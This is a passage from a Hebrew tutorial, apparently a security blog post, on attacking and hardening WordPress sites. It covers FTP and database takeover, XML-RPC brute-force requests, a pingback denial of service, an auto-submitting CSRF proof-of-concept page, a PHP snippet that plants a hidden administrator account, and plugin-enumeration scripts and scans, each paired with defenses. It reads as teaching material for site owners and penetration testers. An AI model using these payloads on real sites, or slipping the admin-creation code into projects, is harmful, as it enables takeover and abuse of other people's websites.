כעת נוריד את אחת מאפליקציות האימות איתם עובד wordfence (תופיע לכם רשימה בראש החלון). אני ממליץ על הורדת אפליקציית האימות של google (אפליקציית Google Authenticator) שתציג לכם קוד בן 6 ספרות שישתנה בכל מספר שניות. לאחר שהורדתם את האפליקציה, סרקו את הקוד המוצג לכם ע"מ לקשר בין האתר שלכם לבין האפליקציה, העתיקו את הקוד הראשון שמופיע לכם, הכניסו אותו בשדה שמופיע בימין החלון (למטה), לחצו על ACTIVATE והאימות הדו שלבי יופעל בחשבון שלכם (שימו לב לשמור את אחד מ4 שורות הקודים שמופיעים לכם בצד ימין של החלון, למעלה. הם נועדו למקרים בהם לא תוכלו להשתמש באימות הדו-שלבי, כגון מקרים בהם הסמארטפון שלכם יאבד וכד').

3. הגבלת כמות הניסיונות החוזרות להזנת פרטים בממשק הניהול

הגדרה נוספת וחשובה שכדאי להגדיר (אם כי, אם אתם משתמשים באימות דו שלבי אין בה צורך), זו הגבלת כמות ניסיונות הכניסה לאתר שלנו בפרק זמן מסוים. את ההגדרה נוכל לבצע באופן ידני בקובץ functions.php, אך בשל העובדה שמדובר בפונקציה קצת ארוכה, נשתמש עבור כך בתוסף המצוין Limit login attempts reloaded שיבצע הגבלת כניסה גם לxmlrpc (עליו נלמד עוד מעט) ועוד.

חסר מאפיין alt לתמונה הזו; שם הקובץ הוא image-14.png

כעת, לאחר שנתקין ונפעיל את התוסף, תופיע לנו תחת settings לשונית של התוסף בה נוכל להגדיר את מספר הניסיונות לאחריו תתבצע חסימה של הכניסה (ואם לאחר הפתיחה של החסימה מתבצעים שוב מספר ניסיונות לא נכונים אחד אחרי השני, החסימה הבאה תהיה למשך זמן ארוך יותר וכן הלאה וכן הלאה).

3. פריצה למערכת בדרכים נוספות

  1. פריצה למערכת בעזרת שרת הFTP

גם אם הקשחנו היטב את מערכת הwordpress שלנו, לא פעם אנו שוכחים שיש שערי כניסה נוספים למערכת שלנו, שלא זכו לטיפול ראוי. לדוגמא, שרת הFTP שלנו. גם אם הקשחנו היטב את ממשק הניהול הסטנדרטי של מערכת הwordpress שלנו, אך פרטי הגישה שלנו לשרת הFTP הן admin ו1234, התוקף יוכל בקלות לשלוט לנו במערכת האתר בעזרת כניסה לשרת הFTP שלנו. איך התוקף יבצע זאת?

בעזרת הורדת לקוח FTP למחשב שלו, יוכל התוקף להזין את הפורט 21 שלרוב ישמש שרת הFTP, להחליף את הwww בכתובת האתר שלנו לftp ולבצע brute-force על שם המשתמש והסיסמא. ברגע שהתוקף יצליח להיכנס למערכת שלנו בעזרת שרת הFTP הוא יוכל לעשות ככל העולה על רוחו באתר. למחוק את האתר, לשנות בו דברים, לגשת לקבצים רגישים שמכילים מידע על מסדי הנתונים (ובכך ליצור לעצמו משתמש באתר) כפי שמיד נסביר ולמעשה, להגיע למצב של שליטה מלאה באתר שלנו.

לאחר שלתוקף גישה לקבצי השרת שלנו, הוא יוכל להגדיר את עצמו כמשתמש מנהל בעזרת הוספת קוד פשוט לקובץ functions.php עליו כבר דיברנו:

$new_user_email = '<your EMAIL>';
$new_user_password = <YOUR PASSWORD>;

if(!username_exists($new_user_email)) {
  $user_id = wp_create_user($new_user_email, $new_user_password, $new_user_email);

  wp_update_user(array('ID' => $user_id, 'nickname' => $new_user_email));

  $user = new WP_User($user_id);
  $user->set_role('administrator');
}

איך נתגונן? וודאו כי שרת הFTP של החברה שלכם חוסם את הכניסה לאחר מספר ניסיונות, כמו-כן, הקפידו בשם משתמש וסיסמא חזקים, מעל 8 ספרות, שמכילים אות קטנה, אות גדולה, מספר וגם סימן כולשהו. כך שגם אם התוקף ינסה לבצע brute-force, הוא כנראה יגיע לגיל 120 לפני שהbrute-force יסתיים 🙂

2. פריצה למערכת בעזרת xmlrpc.php

xml-rpc זהו מנגנון לגישה מרחוק למערכת הwordpress. מנגנון זה נוצר למעשה עוד לפני יצירת wordpress והוא נועד, במקור, לאפשר גישה מרחוק לאתר האינטרנט שלנו בעזרת המכשיר הנייד / ישומיי trackbacks ו- pingbacks ועוד, עם בקשות html שיקודדו ע"י xml. אלא שאם בעבר מנגנון זה היה רלוונטי ונדרש, כיום, אין בו שום צורך (שכן נוכל לגשת למערכת הwordpress שלנו ישירות מכל מקום) והוא בעיקר הפך לנטל גדול על אבטחת מערכות wordpress.

למה נטל? בעזרת מנגנון זה יכול תוקף זדוני: א'. לבצע brute-force על התחברות בעזרת ממשק הxml-rpc, שמטבע הדברים ככל הנראה לא יהיה מוגן כמו שער הכניסה הראשי. ב'. בעזרת מנגנון זה ניתן לבצע מתקפת מניעת שירות (DOS) על האתר שלנו. בעקבות שני בעיות אלו, ההמלצה הגורפת היא להסיר את הממשק.

רגע לפני שנסביר כיצד ניתן להשבית את השירות ולהתגונן מהמתקפות, נדגים את ביצוען. נתחיל מהדגמת ביצוע brute-force על שירות הxml-rpc בעזרת כלי ייעודי שתוכלו למצוא בgithub, כאן

נוריד את הכלי בעזרת sudo git clone, לאחר מכן ניכנס לתיקיית הקובץ וניתן הרשאות ריצה לגרסה השנייה של הכלי בעזרת sudo chmod +x. כעת נריץ את הקובץ עם <script <url> password.txt <username/. (הpassword.txt מגיע יחד עם הכלי, הusername שנכניס יהיה הusername שנוציא במגוון הטכניקות שסקרתי).

למען האמת, קיים גם מודול נהדר בmetasploit שינסה לנצל את xmlrpc, שמו של המודול הוא wordpress_xmlrpc_login ותוכלו להשתמש גם בו ע"מ לבדוק האם האתר שלכם פגיע.

נסביר את התהליך המתבצע מאחורי הקלעים:

נוסיף את הנתיב xmlrpc.php לנתיב של האתר שלנו ונעביר את הבקשה בburp ע"מ לנתח את אופן פעולת הקובץ. שימו לב שמדובר בבקשת GET ובעקבות כך נקבל תשובה שxmlrpc תומך אך ורק בבקשות POST:

כעת נשלח את הבקשה שוב בעזרת הrepiter, הפעם נשנה את הבקשה לPOST ונזין פקודה שתבקש לקבל את כל המתודות האפשריות לשימוש (שימו לב בחלון הresponse שאכן אנו מקבלים את אותן מתודות):

<methodCall>
<methodName> system.listMethods </methodName>
<params> </params>
</methodCall>

אנו נשתמש במתודה wp.getUserBlogs. נזין את שם המשתמש שהשגנו בסריקות הקודמות ואת החבילה נשלח לintruder, ע"מ לבצע brute-force על הסיסמא כפי שכבר למדנו למעלה:

<methodCall>
<methodName> wp.getUsersBlogs </methodName>
<params>
<param><value>username</value> </param>
<param><value>password</value> </param>
</params>
</methodCall>

שימו לב לפלט שחוזר לנו כאשר הסיסמא לא נכונה:

שימו לב לפלט שחוזר לנו כאשר שם המשתמש והסיסמא נכונים:

גם ביצוע של מתקפת 'מניעת שירות' בעזרת xml-rpc נוכל לבצע באמצעות כלי ייעודי שתוכלו לראות בgithub, כאן. נסביר כיצד הפעולה מתבצעת: בשל העובדה שבקשת xmlrpc נמשכות זמן ארוך יחסית, ברגע שנבצע שורה ארוכה של פניות, בו זמנית, לאתר, נוכל לגרום להאטת וסגירת תהליכים, ניצול מקסימלי של הRAM והשבתת האתר. מימוש של DOS בעזרת xmlrpc יתבצע בעזרת שליחת בקשות Pingback לאתר היעד. Pingback זוהי שיטה לתקשורת בין בלוגים – התראה שנשלחת לבעל אתר ברגע שהבלוג שלו הוזכר באתר שלנו.

כתיבת סקריפט פייתון שיבדוק האם xml-rpc אינו מושבת:

def discovery_xmlrpc():
    url = input("Enter the URL: ")
    xmlrpc = "/xmlrpc.php"
    http_request = requests.get("{0}{1}".format(url, xmlrpc))
    if http_request.status_code == 405:
        print("xml-rpc is not disabled")
    else:
        print("xml-rpc is disabled")

הסבר לסקריפט: אנו פונים לנתיב הxml-rpc בURL אותו הכנסנו ובודקים מה הסטטוס קוד של תגובת השרת. אם הסטטוס קוד שווה ל405 (סטטוס שמציין שהמתודה שהלקוח מבצע בה שימוש לא מורשת), ככל הנראה xml-rpc פתוח. אחרת, אנו מדפיסים הודעה על כך שנראה שהשירות מושבת.

ישנם שורה של דרכים להסיר את xml-rpc. אני אציג דרך אחת שמבצעת שימוש בקובץ htaccess.:

<Files xmlrpc.php>
Order Allow,Deny
Deny from all
</Files>

3. פריצה למערכת בעזרת מסד הנתונים

דרך נוספת לבצע פריצה למערכת הwordpress שלנו היא בעזרת מסד הנתונים שלנו, שלרוב יהיה mysql. התוקף ייכנס לאתר מסד הנתונים של ספקית האחסון שלנו, ואם שם המשתמש והסיסמא שלנו למסד הנתונים לא חזקים, הוא יוכל לנסות לפרוץ את הפרטים ובכך ליצור לעצמו גישה מלאה למערכת (זה יכול לקרות גם דרך מציאת פרטי ההתחברות לcPanel, שם יש לנו גישה ישירה למסד הנתונים).

כיצד ניתן לייצר בעזרת מסד הנתונים גישה מלאה למערכת?

התוקף פשוט יוסיף משתמש נוסף לטבלת הusers בdatabase שלנו (הנקראת טבלת wp_users) ולאחר מכן יוכל להיכנס עם אותן פרטים למערכת שלנו:

יש לנו עשרות מסדי נתונים, כיצד יוכל התוקף לדעת מה מסד הנתונים של wordpress?

חוץ מהעניין של הניסוי וטעייה, התוקף יוכל להיכנס לקובץ wp-config.php שם נמצא מידע מלא על מסד הנתונים. התוקף יוכל לראות שם את שם מסד הנתונים וגם את פרטי ההתחברות אליו ובכך גם לחסוך את הצורך בביצוע brute-force ע"מ לגשת למידע שלנו:

4. הסתרת התיקיות והקבצים במערכת

כברירת מחדל, הגישה לתיקיות וקבצי wordpress מבחוץ אפשרית לכל אחד מהגולשים. אם אקח לדוגמא את אתר הwordpress שלנו ונוסיף לנתיב שלו את התחביר הבא: wp-content/uploads, נגיע לתיקיית העלאת הקבצים למערכת. התיקייה אליה הועלו כל התמונות והקבצים עבור פוסטים באתר וכד'. מדובר במידע רגיש מאד שיכול לשמש את התוקף. למה מידע רגיש? כי המון פעמים אנו מעלים קבצים ותמונות למערכת ולא מפרסמים אותם, בתיקייה זו התוקף יוכל להגיע לכל המידע הזה.

אבל זה לא רק התיקייה הזו, ישנם עוד תיקיות רבות שיהיו חשופות לרשת, לדוגמא – התיקייה wp-includes שפתוחה כברירת מחדל ומציגה לתוקף מידע רחב מאד על ארכיטקטורת המערכת שלנו, קבצים שיצרנו באותן תיקיות ועוד ועוד.

Options - Indexes

עבור הסתרת התיקיות נשתמש שוב בקובץ ataccess שבתיקיית הroot שלנו ונבקש להפסיק את האינדקוס של התיקיות. זאת נעשה בעזרת מספר תחבירים בקובץ.

התחביר הראשון יחסום את מירב התיקיות כמו wp-conent, תיקיית הgit שחשיפתה מסוכנת מאד ועוד ועוד:

התחביר השני עבור חסימת הקובץ wp-includes:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>

דרך נוספת למנוע את הצגת תיקיית הincludes, היא ליצור קובץ index.php בתיקייה, כך שכל מי שייכנס לתיקייה יופנה לקובץ זה. בקובץ זה נוכל לא לכתוב כלום או לכתוב טקסט כולשהו. זו למעשה הדרך בה wordpress מסתירה תיקיות אחרות, כמו תיקיית plugins.

כתיבת סקריפט פייתון שיבדוק האם ישנן תיקיות פתוחות במערכת:

def find_exposed_folders():
    url = input("Enter the URL: ")
    folders = ["/wp-content/uploads", "/wp-includes", "/.git"]
    list_of_exposed_folders = []
    for folder in folders:
        get_folder = requests.get("{0}{1}".format(url, folder))
        if get_folder.status_code == 200:
            list_of_exposed_folders.append("{0}{1}".format(folder, ", "))
    if len(list_of_exposed_folders) > 0:
        print("The folders found: {0}".format("".join(list_of_exposed_folders)))
    else:
        print("No exposed folders found")

הסבר לסקריפט: אנו פונים לנתיבים הרגישים אותם אנו רוצים לבדוק. אם סטטוס התגובה שחזר הוא 200, התיקייה שבנתיב פתוחה ואנו מכניסים אותה לרשימה אותה נדפיס בסיום ריצת הקוד. אחרת, אנו עוברים לנתיב הבא. אם לא נמצא אף-נתיב, אנו מדפיסים זאת.

5. ניצול CSRF בממשק התגובות

זוכרים את ה'באג' המובנה במערכות wordpress ששולח חבילות מידע שונות כאשר שם המשתמש נכון והסיסמא לא נכונה וכאשר גם שם המשתמש וגם הסיסמא לא נכונים? הכירו באג מובנה נוסף בwordpress, יש שיגדירו אותו כ'באג חמור', אך הבעיה הגדולה היא שמתכנתים רבים לא מכירים אותו ולא ממגנים כלפיו את מערכת הwordpress שלהם. מדובר בניצול CSRF כלפי ממשק התגובות בwordpress.

מה זה CSRF? בקצרה, CSRF (ר"ת של Cross Site Request Forgery) היא מתקפה המאלצת את דפדפן האינטרנט של גולש תמים לבצע פעולות לא רצויות בשמו של הגולש. לדוגמא: תארו לעצמכם שאתם מחוברים בfacebook ולפתע רואים ברשימת ההודעות שלכם הודעה מלאת קללות ששלחתם לחבר. הנקודה היא שאתם לא עשיתם את זה, בוודאות. כיצד זה יכול להיות? לו faebook היה פגיע לCSRF, התשובה הייתה ברורה. תוקף זדוני העתיק את מנגנון שליחת ההודעות של faebook (את הבקשה שנשלחת לשרת פייסבוק בכל פעם שאנו מבצעים שליחת הודעה) לתוך דף html ושלח לכם את אותו דף (או אפי' הכניס אותו באתר שלו). כשנכנסנתם לאותו דף html, הרצתם למעשה את קוד הhtml בשמכם, כך שבקשת שליחת ההודעה לפייסבוק נשלחה בשמכם. כך תוקף זדוני היה יכול להזין באותו קוד html שורה של קללות ונאצות, להזין כיעד את שם המשמש של חבר שלכם ולהביך אתכם.

בשונה מfacebook וכל מערכת שמכבדת את עצמה, משום-מה, בwordpress שהיא מערכת קוד פתוח אף-אחד עוד לא הרים את הכפפה ע"מ לתקן את הבאג הזה בממשק התגובות של המערכת והבאג הזה קיים כבר מעל ל-9 שנים. בעקבות-כך, כל תוקף זדוני יוכל לבצע בקלות CSRF כלפי כל מערכת שלא מימשה הגנה כלפי מתקפה זו ולפרסם בשם מנהל האתר/מחבריו תגובות בפוסטים הקיימים באתר. למה דווקא כלפי מנהל האתר ומשתמשיו? בשונה ממשתמש סטנדרטי שנכנס למערכת הwordpress וצריך להזין את שמו ולקבל אישור לפרסום התגובה, שמם של מנהל האתר ובעלי התפקידים השונים בו מופיעים באופן אוטומטי בממשק התגובות והם אינם צריכים לעבור אישור. כך שאם מנהל האתר ייכנס לאותו דף html שיעביר לו התוקף, הוא יפרסם בשם עצמו תגובה במערכת שלו, את אותה תגובה שיכתיב התוקף (תארו לכם שבאותה תגובה הייתה השמצה נגד אדם מסוים. הגולש המסכן שלחץ על קובץ הCSRF עלול לקבל תביעה רק בגלל שכתובת הip שלו הופיעה ככתובת של שולח התגובה, למרות שהוא כלל לא שלח אותה).

מימוש נוסף ואפשרי של CSRF הוא ביצוע מתקפת מניעת שירות מבוזרת (DDOS) כלפי האתר. תארו לעצמכם שלתוקף אתר פופולארי עם עשרות אלפי משתמשים ביום. כעת, אם הוא יכניס לאחד מדפי האתר קוד html זדוני שמבצע CSRF כלפי מערכת הwordpress אותה הוא רוצה לתקוף, כל גלישה באותו דף תשלח תגובה למערכת הwordpress הנתקפת. עשרות אלפי משתמשים == עשרות אלפי תגובות וממילא אתרים רבים לא יוכלו לעמוד בעומס כזה של פניות לשרת שלהם ופשוט יקרסו.

למען האמת, התלבטתי רבות אם לשתף אתכם בקוד html שמבצע מתקפת CSRF כלפי מערכות wordpress, מתוך חשש לניצולו ע"י תוקפים זדוניים. לאחר ההתלבטות החלטתי כן לפרסמו עבור הגולשים הסטנדרטיים של הבלוג – בודקי חדירה אתיים, אך אזהיר שוב: כל שימוש בלתי חוקי שייעשה בעזרת מדריך זה, הטכניקות, ההסברים וקטעי הקוד שבו, הינו על אחריותו הבלעדית של המבצע. ואלו שכן חושבים לבצע שימוש בלתי חוקי, המלצה חמה: חבל לכם להרוס לעצמכם את החיים בגלל שטות, אתם תיתפסו בקלות. אין לכם מושג כמה בקלות.

לפני שאשתף אתכם בקוד, בואו נסתכל על חבילת המידע שנשלחת לשרת ברגע שאנו כותבים תגובה במערכת:

אנו רואים שמתבצעת פנייה לקובץ wp-comments-post.php ובה התגובה עצמה, שם המחבר, כתובת הדוא"ל (שלושת הפרמטרים הללו הם פרמטרים שהינן חובה כברירת מחדל). לאחר מכן נשלחת כתובת האתר של מפרסם התגובה, אם ישנה כזו, ומספר הid של הפוסט לצד ציון של האם התגובה היא תגובה לתגובה או תגובה בפני עצמה (comment_parent).

כעת, נכתוב קוד html שמבצע את אותה הפעולה, אלא שהפעם נכתוב תגובה אחרת ובה התראה על כך שCSRF פתוח:

<!DOCTYPE html>
<html>
    <head>
    <title>CSRF POC</title>
    </head>
       <body onload="document.forms[0].submit('post comment')">
          <form method="post" action="url/wp-comments-post.php" enctype="application/x-www-form-urlencoded">
          <input type="hidden" name="comment" value="this is csrf. You need to harden your system!">
          <input type="hidden" name="author" value="cyber-il">
          <input type="hidden" name="email" value="blog-il@blog-eliya.com">
          <input type="hidden" name="url" value="">
          <input type="hidden" name="comment_post_ID" value="7">
          <input type="hidden" name="comment_parent" value="0">

          </form>
       </body>
   
</html>    

הסבר לקוד: אנו מגדירים בעזרת onload על תג הbody, שמיד עם הגדרתו יתבצע submit לטופס שאנו ממלאים באופן אוטומטי (כך שהמשתמש לא יצטרך ללחוץ על כפתור כולשהו ע"מ לשלוח את הנתונים), בהתאם לצורת חבילת המידע שנשלחת בעת שליחת תגובה. אנו מסתירים את כל התגים עם hidden ע"מ לא להסגיר את הפעולה. שימו לב שבמקום הURL עליכם להזין את כתובת האתר שלכם ובid של הפוסט עליכם להאזין את הid הנכון של הפוסט.

כעת, אם התוקף יישלח את קטע הקוד הזה למנהל האתר, תפורסם בשם מנהל האתר התגובה אותה כתב התוקף בקוד הhtml.

הנה, לאחר לחיצה על דף האינטרנט מדפדפן שאינו מחובר לממשק הניהול של אתר האינטרנט, אנו מקבלים בממשק התגובות באתר שלנו את ההודעה הבאה:

לעומת-זאת, אם נפתח את הדף מהדפדפן שלנו, בעת שאנחנו מחוברים לאתר האינטרנט, התגובה תפורסם מיד ובאופן אוטומטי.

כיצד נוכל להימנע מCSRF בממשק התגובות שלנו?

ע"מ למנוע CSRF באופן כללי, על המתכנת: או להגדיר עוגיית CSRF מיוחדת שתישלח בכל בקשה לשרת (בתוך שדות הטופס), או להגדיר CSRF header, או להגדיר samesite בכל העוגיות (מה שיגרום לכך שהדפדפן ישלח את העוגיות רק אם הם נשלחו מאותו origin, משא"כ כאן שהפנייה היא מדף html אחר).

בשל העובדה שמדובר בהגדרה מעט ארוכה, הפעם לא אציג את הדרך להגדיר CSRF באופן ידני וההמלצה שלי היא להשתמש בתוסף Comment Form CSRF Protection שמבצע את ההגנה המדוברת. אומנם לתוסף כ100 התקנות בלבד והוא לא זוכה לעדכונים תכופים (דבר שכאמור לא רצוי לכתחילה), אך בכל זאת אני לא רואה בעיה בהתקנתו, בהתחשב בפעולה שהוא מבצע, שהסיכון הפוטנציאלי שלה כמעט ולא קיים. תעשו אתם את השיקול שלכם.

לאחר שנפעיל את התוסף, אם ננסה שוב לממש את הCSRF, נתקבל בשגיאה הבאה:

אם-נסתכל כעת, לאחר הטיפול בCSRF, בחבילת המידע שנשלחת לשרת ברגע שאנו שולחים תגובה, נראה שנוסף לה csrf-token ייחודי שמשתנה בכל שליחת תגובה:

6. זיהוי גרסאות התוספים וערכות הנושא במערכת

אחד מהחלקים המרכזיים והחשובים שעלינו לבצע בעת ביצוע מבדק חדירה על מערכת wordpress, הוא לבדוק אלו תוספים מותקנים במערכת ומה היא הגרסה שלהן. הסיבה לכך היא שהדרך המרכזית לפרוץ למערכת wordpress היא בעזרת תוספים לא מעודכנים וערכות נושא לא מעודכנות.

כברירת מחדל, לא מתבצע עדכון אוטומטי לתוספים שלנו במערכת ואנו צריכים למעשה להגדיר זאת באופן ידני. המציאות היא שרבים מבעלי אתרי הwordpress לא מגדירים פונקציה כזו וממילא, בעקבות כך שכל העת מתגלים פגיעויות בתוספים השונים, האתר שלהם פגיע רק בגלל התוספים המותקנים בו, למרות שהוא מוקשח היטב.

כמו לגבי שאר הפריצות שהצגנו, גם כאן קיימים כלים אוטומטיים שבודקים אלו תוספים קיימים במערכת שלנו ומה הגרסה שלהם. wp-scan נחשב לטוב ביותר עבור כך ומיד נדגים כיצד נוכל להשתמש בו עבור כך.

עם-זאת, במרבית המקרים הכלים האוטומטיים (למעט wpscan בסריקה מאד ארוכה, שעלולה לקחת שעות) יספקו לנו מידע חלקי בלבד. בשורות הבאות נלמד את הדרך לדעת מה הן כל התוספים הקיימים במערכת שלנו ונכתוב גם סקריפט פייתון עבור כך.

השלב הראשוני שעלינו לבצע ע"מ לוודא אלו תוספים קיימים במערכת שלנו, זהו עיון נוסף בsource-code של האתר. הפעם לא נחפש בו את המונח wp או generator, אלא את המונח plugins. זו למעשה תיקיית התוספים שלנו. מכיון שפעמים רבות התוספים משפיעים גם על עמוד הבית מבחינה עיצובית, נוכל לראות הפניות אל דפים הקשורים אליהם בתוך הsource-code של האתר.

הנה-לדוגמא, באתר שלנו, אנו רואים הפנייה לתיקייה plugins שחושפת על קיום התוספים:

אם-כן, כרגע יש לנו מידע חלקי על התוספים המותקנים באתר. אנו יודעים על מספר תוספים שראינו בsource-code ובסריקות נוספות, כיצד נוכל לדעת על כלל התוספים ויותר מכך, כיצד נוכל לדעת מה הן הגרסאות של אותן תוספים? הדרך הטובה ביותר לבצע זאת היא בעזרת הקובץ readme.txt שקיים כברירת מחדל בכל תיקיית תוסף. יחד עם כל תוסף, מגיע כברירת מחדל קובץ טקסט עם מידע על התוסף והגרסאות שיצאו לו עד כה.

ב90% מהמקרים מתכנת האתר לא יסיר את קובץ הreadme.txt מתיקיית התוסף וממילא אם נפנה לנתיב שלו והוא יוצג לנו, נדע שהתוסף מותקן ונוכל אף לראות מהי הגרסה שלו.

זו למעשה הפעולה שמתבצעת על ידי wpscan בסריקה ארוכה של כמעל 90,000 תוספים. סריקה זו עלולה לקחת זמן רב ובשל כך אנו מיד נלמד כיצד לכתוב סקריפט פייתון שיבצע את הפעולה רק על כ60 תוספים פופולאריים לצד כאלו שנחשבים לתוספים הפגיעים ביותר. לעבור תוסף תוסף באופן ידני ולהוסיף לנתיב שלו readme.txt זה כמובן לא כל-כך ריאלי וגם לא יעיל.

לפני שנלמד כיצד לבצע את הסריקה בwpscan וכיצד לכתוב סקריפט פייתון שיבצע עבורנו את הפעולה בצורה יעילה יותר, אציג לכם את המיקום בקובץ הreadme.txt שמציג לנו את גרסת התוסף. כל קובץ readme מכיל בתוכו גם כותרת שלרוב תהיה או "change log" או "cangelog". מתחת לכותרת זו יוצגו גרסאות התוסף הקודמות וההבדלים בניהם, הגרסה הראשונה שנראה לאחר הכותרת תהיה הגרסה הנוכחית של התוסף. כך נוכל לדעת מהי הגרסה הנוכחית של התוסף.

כתיבת סקריפט פייתון שיבצע את הסריקה על התוספים הפופולאריים ביותר לצד התוספים הידועים כפגיעים ביותר:

def discovery_plugins():
    url = input("Enter the URL: ")
    list_of_plugins = ["elementor", "wordfenc", "wp-hide-security-hardening", "wp-sri", "wpforms-lite",
                    "wps-hide-login", "litespeed-cache", "comment-from-csrf-protection", "all-in-one-wp-mugration",
                    "gutenberg", "WooCommerce", "Ultimate-Member", "Yoast-SEO", "Ninja-Forms", "NextGen Gallery",
                    "JetPack", "all-in-one-seo-pack", "Contact-Form-7", "patch-for-revolution-slider", "Gravity-Forms",
                    "TimThumb", "WP-Symposium-Pro", "WPTF-Image-Gallery", "Google-MP3-Audio-Player", "WP-Database-Backup",
                    "WP-e-Commerce-Shop-Styling", "Candidate-Application-Form", "WP-Mobile-Detector", "Ajax-Pagination",
                    "Newsletter", "Google-Photos-Gallery", "Tinymce-Thumbnail-Gallery", "DukaPress", "WP-File-Manager",
                    "History-Collection",  "work-the-flow-file-upload"]
    list_of_plugins_found = []
    url_plugins = "{0}{1}".format(url, "/wp-content/plugins/")
    readme = "/readme.txt"
    
    if requests.get(url_plugins).status_code == 200:
        for plugin in list_of_plugins:
                get_readme = requests.get("{0}{1}{2}".format(url_plugins, plugin, readme))
                status_code = get_readme.status_code
                if status_code != 404:
                    list_of_plugins_found.append(plugin)

        if len(list_of_plugins_found) < 1:
            print("No plugins found")
        else:
            print("plugins found: {0}".format(list_of_plugins_found))

            for plugin in list_of_plugins_found:
                plugin_get = requests.get("{0}{1}{2}".format(url_plugins, plugin, readme))
                find_changelog = plugin_get.text.rfind("Changelog")
                if find_changelog == -1:
                    find_changelog = plugin_get.text.rfind("Change")
                output = plugin_get.text[find_changelog:find_changelog+30]
                find_version_one = output.find(".")
                find_version_two = output.rfind(".")
                print("{0}, version {1}".format(plugin, output[find_version_one-2:find_version_two+2]))
    else:
        print("We are sorry, but we were unable to identify the system as a wordpress system")

הסבר לסקריפט: בשלב הראשון, יצרנו רשימה ובה הכנסנו כ60 תוספים (התוספים הפופולאריים ביותר והתוספים שנחשבים לפגיעים ביותר). עברנו תוסף אחרי תוסף ברשימה בעזרת לולאת for ובדקנו האם קיים נתיב לקובץ readme.txt כלפי אותו תוסף. אם קיים נתיב, הכנסנו את התוסף לרשימה חדשה של תוספים קיימים ואם לא קיים נתיב, עברנו לתוסף הבא. לאחר מכן, ביצענו חיפוש של גרסת התוספים שנמצאו בעזרת חיפוש המונח 'change' (עבור מקרים בהם נעשה שימוש בchange log) או 'changelog' (עבור מקרים בהם לא הוכנס רווח בין הchange לlog) בכל תוסף ותוסף. בעזרת שימוש נוסף בfind וrdind (הראשון – חיפוש של המקום הראשון מתחילת הקובץ בו מופיע מונח החיפוש, השני – חיפוש מהסוף) מצאנו גם את גרסת התוסף והדפסנו אותם אחד ליד השני.

עם-זאת, ע"מ שלא תצטרכו לחכות זמן ארוך, הכנסתי לרשימת התוספים כשישים תוספים בלבד, הפופולאריים והפגיעים ביותר. אתם כמובן תוכלו להוסיף תוספים נוספים לרשימה, אך בכל זאת, אציג לכם את הדרך לבצע סריקת תוספים בעזרת wpscan, הכלי המצוין שאגב מבצע את הסריקה באופן זהה לסריקה שאנחנו ביצענו (רק בruby, לא בפייתון).

שימוש בwpscan לביצוע הסריקה:

ע"מ שנוכל לסרוק את כל התוספים האפשריים (wp-scan יסרוק כמעל 90,000 כאלה!), נצטרך להירשם באתר wpscan, ע"מ לקבל API token בו נשתמש במהלך הסריקה. לאחר שנרשמנו, ניכנס למכונת הkali שלנו ונזין את הפקודה הבאה:

sudo wpscan --url https://www.cyber-eliya.com -e ap --plugins-detection mixed --api-token <api token> --ignore-main-redirect

הסבר לפקודה: אנו קוראים לwpscan, מזינים תחת הפרמטר url– את כתובת האתר. תחת הפרמטר e- אנו מכניסים ap (כלומר – all plugins). אנו מגדירים חיפוש תוספים עם plugins-detection mixed–, ולאחר מכן, אנו מכניסים תחת הפרמטר api-token– את הapi שלנו. ולסיום, ע"מ שבמצבי הפנייה לא תהיה לנו שגיאה, אנו מוסיפים את הפרמטר ignore-main-redirect–.

כעת wp-scan יסרוק לנו את האתר בצורה אגרסיבית, יחפש מעל ל90,000 תוספים ויציג לנו אותם + הגרסה שלהם:

כמובן שיהיה יעיל יותר אם נזין תחת הפרמטר e-, את ההוראה vp (תוספים פגיעים בלבד) ולא ap.

על אותו-משקל, ניתן לחפש גם את ערכות הנושא בהם משתמש האתר, ע"י ציון הנתיב wp-content/themes. לאחר נתיב זה נציין את שם ערכת הנושא, נוסיף / ונחפש את הקובץ readme.txt. אם נצליח למצוא קובץ כזה, ערכת הנושא מותקנת באתר. אם לא נמצא, ככל הנראה היא אינה מותקנת.

שימוש בNMAP לביצוע הסריקה:

סריקה יעילה ומהירה יותר מהסריקה הבסיסית של wpscan (כמובן שסריקה בעזרת רשימת התוספים המלאה של wpscan תביא את מספר התוספים הגבוה ביותר, אך כאמור היא עלולה לקחת זמן ארוך), היא שימוש בסקריפט nmap שנועד עבור סריקת אתרי wordpress (עוד על סקריפטים בNmap, בחלק ב' של מדריך NMAP בבלוג). בעזרת הרצת הסקריפט http-wordpress-enum על מערכת הwordpress לה אנו מבצעים בדיקת חוסן, נוכל לקבל מידע רב על התוספים וערכות הנושא המשמשות את המערכת וגרסותיהן. דוגמא להרצת הסקריפט (תחת p- נכניס פורט 80 אם המערכת לא משתמשת בתעבורה מאובטחת ו443 אם כן):

sudo nmap -p 443/80 --script=http-wordpress-enum www.cyber-eliya.com

איך מתגוננים?

עניין ההקפדה על תוספים וערכות נושא מעודכנים הוא עניין מאד מאד חשוב עבור אבטחת מערכת הwordpress שלנו. למעשה, מרבית הפריצות למערכות wordpress בוצעו בעזרת תוספים לא מעודכנים.

על בסיס יומי מתגלים עוד ועוד פריצות בתוספי wordpress ועל כן חשוב שנשים לב לבצע עדכון אוטומטי לתוספים ולערכות הנושא שלנו (פעולה שכבויה כברירת מחדל בwordpress) ובכל מקרה, תמיד נקפיד להוריד אך ורק תוספים מוכרים וידועים (100,000 הורדות לכל הפחות) שעוברים עדכונים תכופים (אם אנו רואים תוסף עם מיליון הורדות, אבל העדכון האחרון שלו היה לפני כמה שנים, לא כדאי להשתמש בו).

כמובן שאתם תמיד יכולים לעשות מניפולציות בקובץ הreadme של התוספים שלכם, למחוק אותו, להסתיר אותו' לשנות את שמו וכו' וכו' ובכך למנוע את הדרך המקובלת לבצע סריקה של תוספים.

המלצות נוספות להקשחת wordpress:

  1. בצעו מעקב אחרי יומן הגישה של השרת (access log file):

